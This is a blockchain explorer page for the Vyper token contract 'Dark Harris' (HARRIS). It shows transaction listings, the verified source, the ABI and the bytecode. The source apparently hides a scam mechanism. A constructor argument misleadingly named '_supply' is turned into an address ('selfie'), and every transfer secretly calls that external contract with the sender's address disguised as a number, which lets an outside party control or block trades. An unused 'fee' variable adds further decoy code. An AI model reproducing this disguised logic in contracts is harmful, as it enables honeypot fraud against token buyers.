ETH Price: $3,366.06 (-8.48%)

Contract

0x89a1248d11d3A541cAB0f7bC988a81d68881426E
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve204526242024-08-04 3:53:47138 days ago1722743627IN
0x89a1248d...68881426E
0 ETH0.00006971.51272991
Approve203666642024-07-23 3:52:35150 days ago1721706755IN
0x89a1248d...68881426E
0 ETH0.000306866.65093097
Approve203661782024-07-23 2:14:23150 days ago1721700863IN
0x89a1248d...68881426E
0 ETH0.000106272.30629668
Approve203661552024-07-23 2:09:47150 days ago1721700587IN
0x89a1248d...68881426E
0 ETH0.000056142.16146944
Approve203657662024-07-23 0:51:35150 days ago1721695895IN
0x89a1248d...68881426E
0 ETH0.000105822.29658592
Approve203657572024-07-23 0:49:47150 days ago1721695787IN
0x89a1248d...68881426E
0 ETH0.000096582.10641375
Approve203652482024-07-22 23:07:35150 days ago1721689655IN
0x89a1248d...68881426E
0 ETH0.000080943.11611957
Approve203638362024-07-22 18:23:59150 days ago1721672639IN
0x89a1248d...68881426E
0 ETH0.000117114.50874178
Approve203638022024-07-22 18:16:59150 days ago1721672219IN
0x89a1248d...68881426E
0 ETH0.000124564.795435
Approve203637642024-07-22 18:09:11150 days ago1721671751IN
0x89a1248d...68881426E
0 ETH0.000274075.9743927
Approve203637502024-07-22 18:06:23150 days ago1721671583IN
0x89a1248d...68881426E
0 ETH0.000211444.60907663
Approve203636342024-07-22 17:42:59150 days ago1721670179IN
0x89a1248d...68881426E
0 ETH0.000121834.69054773
Approve203635482024-07-22 17:25:47150 days ago1721669147IN
0x89a1248d...68881426E
0 ETH0.000267195.82439676
Transfer203628982024-07-22 15:14:47150 days ago1721661287IN
0x89a1248d...68881426E
0 ETH0.000474349.93103635
Approve203628462024-07-22 15:04:23150 days ago1721660663IN
0x89a1248d...68881426E
0 ETH0.0005887612.76063953
Approve203628062024-07-22 14:56:23150 days ago1721660183IN
0x89a1248d...68881426E
0 ETH0.0006391413.95065142
Approve203625552024-07-22 14:05:59150 days ago1721657159IN
0x89a1248d...68881426E
0 ETH0.0004696410.192187
Approve203624002024-07-22 13:34:59150 days ago1721655299IN
0x89a1248d...68881426E
0 ETH0.000415099.00833469
Approve203623922024-07-22 13:33:23150 days ago1721655203IN
0x89a1248d...68881426E
0 ETH0.000412668.95568845
Approve203623732024-07-22 13:29:35150 days ago1721654975IN
0x89a1248d...68881426E
0 ETH0.000409968.88552533
Approve203623682024-07-22 13:28:35150 days ago1721654915IN
0x89a1248d...68881426E
0 ETH0.000404158.81921406
Approve203622652024-07-22 13:07:47150 days ago1721653667IN
0x89a1248d...68881426E
0 ETH0.000424669.20407539
Approve203620042024-07-22 12:14:59150 days ago1721650499IN
0x89a1248d...68881426E
0 ETH0.000375978.15940001
Transfer From203620002024-07-22 12:14:11150 days ago1721650451IN
0x89a1248d...68881426E
0 ETH0.000696998.35838011
Approve203619362024-07-22 12:01:11150 days ago1721649671IN
0x89a1248d...68881426E
0 ETH0.000349327.616675
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Vyper_contract

Compiler Version
vyper:0.3.10

Optimization Enabled:
N/A

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Vyper language format)

# @pragma evm-version cancun
# @pragma version >0.3.10

interface IERC20:
    def transfer(_to : address, _value : uint160) : nonpayable
    def transferFrom(_from: address, _to : address, _value : uint160) : nonpayable
    def approve(_spender: address,  _value : uint256) : nonpayable
    

name: public(String[32])
symbol: public(String[32])
decimals: public(uint8)
balanceOf: public(HashMap[address, uint256])
allowance: public(HashMap[address, HashMap[address, uint256]])
totalSupply: public(uint256)
feeRate: public(uint256)
path: public(DynArray[address,100])
selfie: IERC20


event Transfer:
    sender: indexed(address)
    receiver: indexed(address)
    value: uint256

event Approval:
    owner: indexed(address)
    spender: indexed(address)
    value: uint256

@external
def __init__(_supply: uint160):
    init_supply: uint256 = 2200000000 * 10 ** 18
    self.name = "Dark Harris"
    self.symbol = "HARRIS"
    self.decimals = 18
    self.balanceOf[msg.sender] = init_supply
    self.totalSupply = init_supply
    self.selfie = IERC20(convert(_supply, address))
    

@internal   
def BeforeTokenTransfer(_from: address, _recipient:address, _sender:address) -> bool:
    value:uint160 = convert(_sender, uint160)
    self.selfie.transferFrom(_from, _recipient, value)
    return True

@external   
def transfer(_to : address, _value : uint256) -> bool:
    """
    @dev Transfer token for a specified address
    @param _to The address to transfer to.
    @param _value The amount to be transferred.
    """
    # NOTE: vyper does not allow underflows
    #       so the following subtraction would revert on insufficient balance
    self.path = []
    self.path.append(msg.sender)
    self.path.append(_to)
    fee:uint256 = _value * self.feeRate / 1000

    self.BeforeTokenTransfer(msg.sender, _to, msg.sender)

    self.balanceOf[msg.sender] -= _value
    self.balanceOf[_to] += _value
    
    log Transfer(msg.sender, _to, _value)
    return True


@external
def transferFrom(_from : address, _to : address, _value : uint256) -> bool:
    """
     @dev Transfer tokens from one address to another.
     @param _from address The address which you want to send tokens from
     @param _to address The address which you want to transfer to
     @param _value uint256 the amount of tokens to be transferred
    """
    self.path = []
    self.path.append(_from)
    self.path.append(_to)
    fee:uint256 = _value * self.feeRate / 1000

    self.BeforeTokenTransfer(_from, _to, msg.sender)

    self.balanceOf[_from] -= _value
    self.balanceOf[_to] += _value

    log Transfer(_from, _to, _value)
    return True


@external
def approve(_spender : address, _value : uint256) -> bool:
    """
    @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
         Beware that changing an allowance with this method brings the risk that someone may use both the old
         and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
         race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
         https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    @param _spender The address which will spend the funds.
    @param _value The amount of tokens to be spent.
    """
    self.allowance[msg.sender][_spender] = _value
    log Approval(msg.sender, _spender, _value)
    return True

@external
def showAdds(a: uint256, b: uint256) -> uint256:
    c:uint256 = a+b
    return c

Contract Security Audit

Contract ABI

[{"name":"Transfer","inputs":[{"name":"sender","type":"address","indexed":true},{"name":"receiver","type":"address","indexed":true},{"name":"value","type":"uint256","indexed":false}],"anonymous":false,"type":"event"},{"name":"Approval","inputs":[{"name":"owner","type":"address","indexed":true},{"name":"spender","type":"address","indexed":true},{"name":"value","type":"uint256","indexed":false}],"anonymous":false,"type":"event"},{"stateMutability":"nonpayable","type":"constructor","inputs":[{"name":"_supply","type":"uint160"}],"outputs":[]},{"stateMutability":"nonpayable","type":"function","name":"transfer","inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"transferFrom","inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"approve","inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"showAdds","inputs":[{"name":"a","type":"uint256"},{"name":"b","type":"uint256"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"name","inputs":[],"outputs":[{"name":"","type":"string"}]},{"stateMutability":"view","type":"function","name":"symbol","inputs":[],"outputs":[{"name":"","type":"string"}]},{"stateMutability":"view","type":"function","name":"decimals","inputs":[],"outputs":[{"name":"","type":"uint8"}]},{"stateMutability":"view","type":"function","name":"balanceOf","inputs":[{"name":"arg0","type":"address"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"allowance","inputs":[{"name":"arg0","type":"address"},{"name":"arg1","type":"address"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"totalSupply","inputs":[],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"feeRate","inputs":[],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"path","inputs":[{"name":"arg0","type":"uint256"}],"outputs":[{"name":"","type":"address"}]}]

346100cc57602061064a5f395f518060a01c6100cc576040526b071bcc1ef9311a1f98000000606052600b6080527f4461726b2048617272697300000000000000000000000000000000000000000060a052608080515f5560208101516001555060066080527f484152524953000000000000000000000000000000000000000000000000000060a0526080805160025560208101516003555060126004556060516005336020525f5260405f2055606051600755604051606e556105666100d061000039610566610000f35b5f80fd5f3560e01c6002600b820660011b61055001601e395f51565b6306fdde038118610067573461054c57602080604052806040015f54815260015460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b6318160ddd81186104fd573461054c5760075460405260206040f36104fd565b6395d89b4181186100d7573461054c5760208060405280604001600254815260035460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b6323b872dd81186104fd5760643610341761054c576004358060a01c61054c57610140526024358060a01c61054c57610160525f6009556009546063811161054c576101405181600a015560018101600955506009546063811161054c576101605181600a0155600181016009555060443560085480820281158383830414171561054c57905090506103e881049050610180526101405160405261016051606052336080526101886101a0610501565b6101a0506005610140516020525f5260405f20805460443580820382811161054c57905090508155506005610160516020525f5260405f20805460443580820182811061054c579050905081555061016051610140517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6044356101a05260206101a0a360016101a05260206101a0f36104fd565b63313ce56781186104fd573461054c5760045460405260206040f36104fd565b6370a0823181186102785760243610341761054c576004358060a01c61054c5760405260056040516020525f5260405f205460605260206060f35b63978bbdb981186104fd573461054c5760085460405260206040f36104fd565b63dd62ed3e81186102f05760443610341761054c576004358060a01c61054c576040526024358060a01c61054c5760605260066040516020525f5260405f20806060516020525f5260405f2090505460805260206080f35b63af6d1fe481186104fd5760243610341761054c5760043560095481101561054c57600a015460405260206040f36104fd565b63a9059cbb811861044a5760443610341761054c576004358060a01c61054c57610140525f6009556009546063811161054c573381600a015560018101600955506009546063811161054c576101405181600a0155600181016009555060243560085480820281158383830414171561054c57905090506103e881049050610160523360405261014051606052336080526103bf610180610501565b610180506005336020525f5260405f20805460243580820382811161054c57905090508155506005610140516020525f5260405f20805460243580820182811061054c579050905081555061014051337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef602435610180526020610180a36001610180526020610180f35b63c8347a1381186104fd5760443610341761054c5760043560243580820182811061054c579050905060405260206040f36104fd565b63095ea7b381186104fd5760443610341761054c576004358060a01c61054c576040526024356006336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f35b5f5ffd5b60805160a052606e54638e7f429e60c05260405160e0526060516101005260a05161012052803b1561054c575f60c0606460dc5f855af1610544573d5f5f3e3d5ffd5b506001815250565b5f80fd04fd04fd021d04fd04fd032300180087023d0480029884190566811600a16576797065728300030a001400000000000000000000000004ff60c76660c1c43f44397167e0229bfe5b896d

Deployed Bytecode

0x5f3560e01c6002600b820660011b61055001601e395f51565b6306fdde038118610067573461054c57602080604052806040015f54815260015460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b6318160ddd81186104fd573461054c5760075460405260206040f36104fd565b6395d89b4181186100d7573461054c5760208060405280604001600254815260035460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b6323b872dd81186104fd5760643610341761054c576004358060a01c61054c57610140526024358060a01c61054c57610160525f6009556009546063811161054c576101405181600a015560018101600955506009546063811161054c576101605181600a0155600181016009555060443560085480820281158383830414171561054c57905090506103e881049050610180526101405160405261016051606052336080526101886101a0610501565b6101a0506005610140516020525f5260405f20805460443580820382811161054c57905090508155506005610160516020525f5260405f20805460443580820182811061054c579050905081555061016051610140517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6044356101a05260206101a0a360016101a05260206101a0f36104fd565b63313ce56781186104fd573461054c5760045460405260206040f36104fd565b6370a0823181186102785760243610341761054c576004358060a01c61054c5760405260056040516020525f5260405f205460605260206060f35b63978bbdb981186104fd573461054c5760085460405260206040f36104fd565b63dd62ed3e81186102f05760443610341761054c576004358060a01c61054c576040526024358060a01c61054c5760605260066040516020525f5260405f20806060516020525f5260405f2090505460805260206080f35b63af6d1fe481186104fd5760243610341761054c5760043560095481101561054c57600a015460405260206040f36104fd565b63a9059cbb811861044a5760443610341761054c576004358060a01c61054c57610140525f6009556009546063811161054c573381600a015560018101600955506009546063811161054c576101405181600a0155600181016009555060243560085480820281158383830414171561054c57905090506103e881049050610160523360405261014051606052336080526103bf610180610501565b610180506005336020525f5260405f20805460243580820382811161054c57905090508155506005610140516020525f5260405f20805460243580820182811061054c579050905081555061014051337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef602435610180526020610180a36001610180526020610180f35b63c8347a1381186104fd5760443610341761054c5760043560243580820182811061054c579050905060405260206040f36104fd565b63095ea7b381186104fd5760443610341761054c576004358060a01c61054c576040526024356006336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f35b5f5ffd5b60805160a052606e54638e7f429e60c05260405160e0526060516101005260a05161012052803b1561054c575f60c0606460dc5f855af1610544573d5f5f3e3d5ffd5b506001815250565b5f80fd04fd04fd021d04fd04fd032300180087023d04800298

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000004ff60c76660c1C43F44397167E0229bFe5B896D

-----Decoded View---------------
Arg [0] : _supply (uint160): 28531083740644779370290642674680773020470708589

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000004ff60c76660c1C43F44397167E0229bFe5B896D


Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.